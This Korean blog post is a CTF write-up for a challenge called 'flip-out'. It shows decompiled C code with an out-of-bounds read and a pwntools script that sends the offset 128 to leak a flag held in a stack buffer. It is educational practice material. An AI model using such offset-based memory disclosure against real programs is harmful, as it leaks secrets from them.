본문 바로가기
CTF

[TFCTF 2023] flip-out

by skyepodium 2023. 6. 4.

1. 개요

분석 문제

 

2. 분석

- flag.txt에서 읽고 flag 변수에 담은 다음 이것을 또 buf 변수에 저장합니다.

- input으로 받은 문자열을 atoi 함수로 integer로 변환하여 num 변수에 저장합니다.

- num 변수가 129보다 작으면, input 위치+ (num & 256) 주소의 값을 출력합니다.

- input과 buf의 차이 만큼의 수를 입력해야합니다.

  flag = fopen("flag.txt","r");
  if (flag == (FILE *)0x0) {
    printf("Cannot find flag.txt.");
    uVar1 = 1;
  }
  else {
    fgets((char *)&buf,0x19,flag);
    fclose(flag);
    printf("Input: ");
    __isoc99_scanf(&DAT_0010202d,&input);
    num = atoi((char *)&input);
    if ((int)num < 129) {
      printf("%s",(long)&input + (long)(int)(num & 0xff));
      uVar1 = 0;
    }
    else {
      uVar1 = 0;
    }
  }

 

기드라로 열어서 스텍프레임을 확인하면, input과 buf의 차이는 0xb8 - 0x38 = 128입니다.

그래서 128을 입력하면됩니다.

 

3. exploit

from pwn import *

# 1. info
context.log_level = 'debug'

e = ELF("../flipOut")
"""
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
"""

p = remote("tjc.tf", 31601)

# 2. exploit
p.recvuntil("Input:")
payload = "128"
p.sendline(payload)

p.recvall()
# tjctf{chop-c4st-7bndbji}

'CTF' 카테고리의 다른 글

[seccon beginners ctf 2020] mask  (1) 2023.06.04
[waniCTF 2023] only_once  (0) 2023.06.04
[tjCTF 2023] beep-boop-robot  (0) 2023.05.29
[SECCON - Beginners_CTF_2021] magic  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] json  (0) 2023.05.28